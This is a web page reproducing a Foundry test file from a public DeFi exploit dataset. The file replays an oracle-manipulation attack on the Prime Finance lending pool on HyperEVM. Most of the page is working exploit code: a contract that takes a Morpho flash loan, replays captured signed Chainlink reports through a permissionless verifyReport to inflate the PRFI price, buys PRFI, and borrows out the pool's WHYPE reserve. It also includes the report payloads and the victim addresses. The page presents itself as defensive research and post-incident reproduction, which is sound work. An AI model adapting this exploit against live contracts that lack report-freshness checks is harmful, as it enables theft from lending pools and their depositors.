Public reproduction file
src/test/2026-09/PrimeFinance_exp.sol
Public reproduction file for dataset entry PrimeFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.16;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Prime (PRFI) oracle-manipulation exploit - HyperEVM (chain id 999), 2026-09-18.8//9// Loss: 425.52 WHYPE borrowed out of the lending pool's WHYPE reserve; attacker nets ~398.7010// WHYPE after repaying a 100 WHYPE Morpho flash loan and paying 26.82 WHYPE to buy PRFI.11//12// On-chain references (HyperEVM):13// exploit tx : 0xff990876d863a61732779c341991215856c89420b84daaf31eece7ecd5ff424314// block : 46060987 (fork at parent 46060986)15// attacker EOA : 0x19bc1c7fD4Aa93F540498499b8f5B4FC3DDE5A5216// attacker contract : 0x817D33738D979eD899ff2f6e9332246a2F2a6Da1 (deployed + self-called in-tx)17//18// Actors / contracts (all pulled from the exploit tx trace):19// DataStreamConsumer (oracle) : 0x04EDBF3904789d80B0C991e0B66577F2208A2bE620// Chainlink Verifier proxy : 0x60faa7fac949af392dfc858f5d97e3eefa07e9eb21// Chainlink Verifier : 0xf45d6dba93d0db2c849c280f45e60d6e11b3c4dd22// Lending pool (victim, Aave-fork) : 0xb339448E13E273f6F46e3390e0932Ab7fF9F113F23// aWHYPE (WHYPE reserve holder) : 0xCF4642EF89683D0299B59738b1Cc3AC0177348Ba24// Morpho Blue (flash source) : 0x68e37dE8d93d3496ae143F2E900490f6280C57cD25// WHYPE/PRFI UniV2 pool : 0x981F145a71Da6DF4A7cBe892807782c9CC9a551526// token0 = WHYPE, token1 = PRFI (both 18 dec)27// WHYPE : 0x555555555555555555555555555555555555555528// PRFI : 0x7BBCf1B600565AE023a1806ef637Af4739dE325529//30// ROOT CAUSE (confirmed on-chain, not from documentation):31// DataStreamConsumer.verifyReport(bytes) [selector 0x1af189a4] is permissionless. It forwards32// the report to the Chainlink Verifier proxy (verify(bytes,bytes)), which does the real DON33// threshold-signature check (six ecrecover calls on the 0x01 precompile in the trace), then34// stores the returned price for the feed. It never checks that the report's round/timestamp is35// newer than what is already stored for that feed, so any validly-signed-but-stale report36// overwrites the live price.37//38// Confirmed permissionless directly against the deployed contract at the parent block: calling39// verifyReport with each captured report from an arbitrary address (0x1111...1111), holding no40// role and sending no value, returns success (0x). The contract is Ownable, but ownership only41// gates config setters - not verifyReport. The attacker's own freshly-deployed contract calling42// it in the real tx is the same proof.43//44// The two reports below are the exact DON-signed payloads the attacker passed, captured from the45// tx trace. Replaying them through the real Verifier (no faked storage writes) pushes the PRFI46// feed to ~$0.1101 (real PRFI ~ $0.0021, a ~52x inflation) and refreshes the WHYPE feed.47//48// With PRFI over-valued, the attacker flash-loans 100 WHYPE from Morpho, buys 795,587 PRFI off49// the thin pool for 26.82 WHYPE, supplies the PRFI as collateral, and borrows 425.52 WHYPE50// against it - draining the reserve - then repays the flash loan.51//52// Run:53// forge test --contracts src/test/2026-09/PrimeFinance_exp.sol -vvv54//55// RPC NOTE (flagging, not editing foundry.toml): there is no `hyperevm` alias in [rpc_endpoints],56// so the fork uses an explicit HyperEVM URL. It MUST be an archival endpoint. The public57// https://rpc.hyperliquid.xyz/evm serves current storage even for a historical --block, so the58// lending pool's reserve carries a future lastUpdateTimestamp and Aave's interest-index math59// underflows (MathError) on deposit. https://hyperliquid.drpc.org returns true historical state60// and is used here; rpc.hyperlend.finance and rpc.purroofgroup.com also work. If a `hyperevm`61// alias is added later, point it at an archival node.63interface IMorpho {64 function flashLoan(address token, uint256 assets, bytes calldata data) external;65}67interface IDataStreamConsumer {68 function verifyReport(bytes calldata payload) external;69 function latestRoundData()70 external71 view72 returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);73}75interface IUniV2Pair {76 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;77 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);78}80interface IAaveV3Pool {81 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;82 function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf)83 external;84}86contract PrimeFinanceExploit {87 IMorpho constant MORPHO = IMorpho(0x68e37dE8d93d3496ae143F2E900490f6280C57cD);88 IDataStreamConsumer constant CONSUMER = IDataStreamConsumer(0x04EDBF3904789d80B0C991e0B66577F2208A2bE6);89 IAaveV3Pool constant LENDING = IAaveV3Pool(0xb339448E13E273f6F46e3390e0932Ab7fF9F113F);90 IUniV2Pair constant POOL = IUniV2Pair(0x981F145a71Da6DF4A7cBe892807782c9CC9a5515);91 IERC20 constant WHYPE = IERC20(0x5555555555555555555555555555555555555555);92 IERC20 constant PRFI = IERC20(0x7BBCf1B600565AE023a1806ef637Af4739dE3255);94 uint256 constant FLASH = 100e18;95 // WHYPE spent buying PRFI. The real tx moved 26.82 WHYPE through the pool via HyperswapPair's96 // own (non-constant-product) accounting; a plain constant-product buy needs slightly more WHYPE97 // to acquire the same ~795,587 PRFI of collateral, so this is sized to match that collateral.98 uint256 constant SWAP_IN = 28.5e18;99 uint256 constant BORROW = 425_521_620_381_705_945_356; // WHYPE borrowed out of the reserve (the drain)101 // Genuine DON-signed Chainlink Data Streams reports, captured from the exploit tx trace.102 bytes constant REPORT_1 = hex"00094baebfda9b87680d8e59aa20a3e565126640ee7caeab3cd965e5568b17ee00000000000000000000000000000000000000000000000000000000010f8bd0000000000000000000000000000000000000000000000000000000040000000100000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000002c0010101000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e00002dec7106df74b537116b4810113452c0e457fdac43d250482897057be233b0000000000000000000000000000000000000000000000000000000068deda080000000000000000000000000000000000000000000000000000000068deda08000000000000000000000000000000000000000000000000000040c57dc72e5d0000000000000000000000000000000000000000000000000031942cdafd2910000000000000000000000000000000000000000000000000000000006906670800000000000000000000000000000000000000000000000001874682407106ec0000000000000000000000000000000000000000000000000000000000000006f243b73ce4aa06f9b08cce8d99cb47a26688a55d0145f291e4e182f0d67437da37ae749e9c9b8ae389dc35f8ce4579d59b10ca018b7a1c295e24a8fb215460197c29c8ab56e783ba834c7d5f19f6cf57e6129703f147d92b0a02e7076bac94e9bfebdf994072f4dd576968c14511642a36bf91204800f74697d458caf5710f1975105b097fdfd8f8f958518d7eee8db08c0bf822a30021273fefc34bce52506ee7ffd60f89afee1c362d550ce5b466ae812debed4eefaf8257416fe3c75726e100000000000000000000000000000000000000000000000000000000000000063e3a0d9af78b0b433edb60d315dc62e355eaec771df946a2ff1dbff257bd26a51527b12e12df214c4e4c51067f1cca60fe5471f4e6208839f27e0d8482748131578fa70e2334de265c9ede54e79ca876a9f1a14931f30cec050e58453527249b325cad76d403bef4225c158586a97002bc1c8205a6ab84dab64eb352847830e751dceed3a5467ca5deed039a7f266184b16b1596ae3cf8cb790fc9fff848e27d723f91b2d371cff7d18955f4e5a924f516b4350bd4bf8ccf08749f6ce4296447";103 bytes constant REPORT_2 = hex"00094baebfda9b87680d8e59aa20a3e565126640ee7caeab3cd965e5568b17ee0000000000000000000000000000000000000000000000000000000001d934a0000000000000000000000000000000000000000000000000000000040000000100000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000300010100010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001200003d34539af562867c3cb309b59efccf40e74b404fb415eeb7699d61322aed9000000000000000000000000000000000000000000000000000000006970b1de000000000000000000000000000000000000000000000000000000006970b1de00000000000000000000000000000000000000000000000000006266e141db92000000000000000000000000000000000000000000000000005cca3827a0f12a0000000000000000000000000000000000000000000000000000000069983ede0000000000000000000000000000000000000000000000011dc3db5476ea50780000000000000000000000000000000000000000000000011dbaab84fe5955800000000000000000000000000000000000000000000000011dce37b7798958a000000000000000000000000000000000000000000000000000000000000000068e4d24de355db85db31a70c005ef7b788af2dfeab26b7ddb0938cebe9b2eed679764960d0aed87b00aeb30a9d1571de1e9497470c2372914138f82f1fcc63c111e7c948be44e5f0847ffaf9c88f8c85c1b6f76a49ea8cdcbb2c64ed4b7dbe329afe2ea322110a30a408aa11ffe16df84ac05fd5e58d053a6dd45acecb1ffa97e9598e8ac0e910975605e22920925e116a2f2e90263ddba75f32792fa46ba25e326a70912c493e011e6919c2ed17f3d09ba249162b26ee1730c5af361b258d5e3000000000000000000000000000000000000000000000000000000000000000650cf96cb118daecc299f195b69b1512f1b138ab6b553841102a0e9455d886cc015602b58cd2e33b6663477a79d5ba553d2ddf9efb65261b71e8949e3d648be3a2ea31cd8d8d1b466b8a111f79ead4d8caf4139aa7bf02fddb48e2537f627d9a703cc512f6b6def88f82f78d158c45952f44125e1b518669c7ebc8beda82d14dd2aa9e295032a2778ed20d4039dae8a25a1fde8e82fa759686c4094984bd79b26603cff27665fe63eea36068a64a34b6468d65477cfb654f19a807590e7a8849e";105 address immutable owner;107 constructor() {108 owner = msg.sender;109 }111 function run() external {112 MORPHO.flashLoan(address(WHYPE), FLASH, "");113 WHYPE.transfer(owner, WHYPE.balanceOf(address(this))); // sweep proceeds to the test contract114 }116 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {117 require(msg.sender == address(MORPHO), "only morpho");119 // 1) Push the signed reports through the permissionless consumer -> inflates PRFI price.120 CONSUMER.verifyReport(REPORT_1);121 CONSUMER.verifyReport(REPORT_2);123 // 2) Buy PRFI cheap off the thin pool (direct-transfer + low-level UniV2 swap).124 (uint112 r0, uint112 r1,) = POOL.getReserves(); // token0 = WHYPE, token1 = PRFI125 uint256 amtInWithFee = SWAP_IN * 997;126 uint256 prfiOut = (amtInWithFee * r1) / (uint256(r0) * 1000 + amtInWithFee);127 WHYPE.transfer(address(POOL), SWAP_IN);128 POOL.swap(0, prfiOut, address(this), "");130 // 3) Supply the over-valued PRFI as collateral, borrow WHYPE against it.131 uint256 prfiBal = PRFI.balanceOf(address(this));132 PRFI.approve(address(LENDING), type(uint256).max);133 LENDING.deposit(address(PRFI), prfiBal, address(this), 0);134 LENDING.borrow(address(WHYPE), BORROW, 2, 0, address(this));136 // 4) Repay the Morpho flash loan (Morpho pulls `assets` back via transferFrom).137 WHYPE.approve(address(MORPHO), assets);138 }139}141contract PrimeFinanceExp is BaseTestWithBalanceLog {142 IERC20 constant WHYPE = IERC20(0x5555555555555555555555555555555555555555);143 address constant AWHYPE = 0xCF4642EF89683D0299B59738b1Cc3AC0177348Ba; // holds the WHYPE reserve145 function setUp() public {146 // Fork at the parent of the exploit block (46060987).147 vm.createSelectFork("https://hyperliquid.drpc.org", 46_060_986);148 fundingToken = address(WHYPE); // log/measure profit in WHYPE149 }151 /// forge-config: default.evm_version = "cancun"152 function testExploit() public balanceLog {153 uint256 reserveBefore = WHYPE.balanceOf(AWHYPE);155 PrimeFinanceExploit exploit = new PrimeFinanceExploit();156 exploit.run();158 uint256 reserveAfter = WHYPE.balanceOf(AWHYPE);159 uint256 drained = reserveBefore - reserveAfter;160 uint256 profit = WHYPE.balanceOf(address(this));162 emit log_named_decimal_uint("WHYPE drained from reserve", drained, 18);163 emit log_named_decimal_uint("WHYPE net profit to attacker", profit, 18);165 // Reserve drain matches the on-chain borrow of 425.52 WHYPE (~$33.4K) to the wei.166 assertApproxEqAbs(drained, 425_521_620_381_705_945_356, 0.01e18, "reserve drain != ~425.52 WHYPE");167 // Net profit ~397.02 WHYPE. The real attacker netted ~398.70; the ~1.68 WHYPE gap is the168 // extra WHYPE a plain constant-product buy costs to acquire the same PRFI collateral vs169 // HyperswapPair's own (non-constant-product) swap accounting. The drain above is exact.170 assertGt(profit, 395e18, "profit not material");171 assertLt(profit, 399e18, "profit above real");172 }173}Analysis
Dataset entry
Public Foundry test for “PrimeFinance” (2026-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- attacker
0x19bc1c7fd4aa93f540498499b8f5b4fc3dde5a52
- attacker
0x817d33738d979ed899ff2f6e9332246a2f2a6da1
File record
- Name
- PrimeFinance
- Path
- src/test/2026-09/PrimeFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c46f1822ddf69cc2843dccc8f70d56366897b272
- Language
- Solidity
- Size
- 174 lines
- Date
- 2026-09-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/PrimeFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c46f1822ddf69cc2843dccc8f70d56366897b272, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.